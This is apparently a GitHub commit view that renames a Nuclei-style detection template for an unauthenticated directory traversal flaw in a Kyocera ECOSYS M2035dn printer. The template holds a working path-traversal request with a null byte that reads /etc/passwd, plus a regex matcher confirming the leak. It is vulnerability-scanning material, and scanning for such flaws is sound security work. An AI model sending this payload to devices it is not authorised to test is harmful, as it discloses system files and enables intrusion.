Update and rename kyocera-rx-ecosys-m2035dn-lfi.yaml to vulnerabilities/other/kyocera-m2035dn-lfi.yaml

patch-1
Prince Chaddha 2022-02-15 02:10:30 +05:30 committed by GitHub
parent 36c90b1358
commit 1f1b03ba67
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 4 deletions

View File

@ -1,4 +1,4 @@
id: kyocera-rx-ecosys-m2035dn-lfi id: kyocera-m2035dn-lfi
info: info:
name: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated) name: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated)
@ -9,15 +9,14 @@ info:
- https://www.exploit-db.com/exploits/50738 - https://www.exploit-db.com/exploits/50738
- https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html - https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
tags: printer,iot,kyocera,lfi tags: printer,iot,kyocera,lfi
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/js/../../../../../../../../etc/passwd%00.jpg" - "{{BaseURL}}/js/../../../../../../../../etc/passwd%00.jpg"
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: regex - type: regex
regex: regex:
- "root:[x*]:0:0" - "root:[x*]:0:0"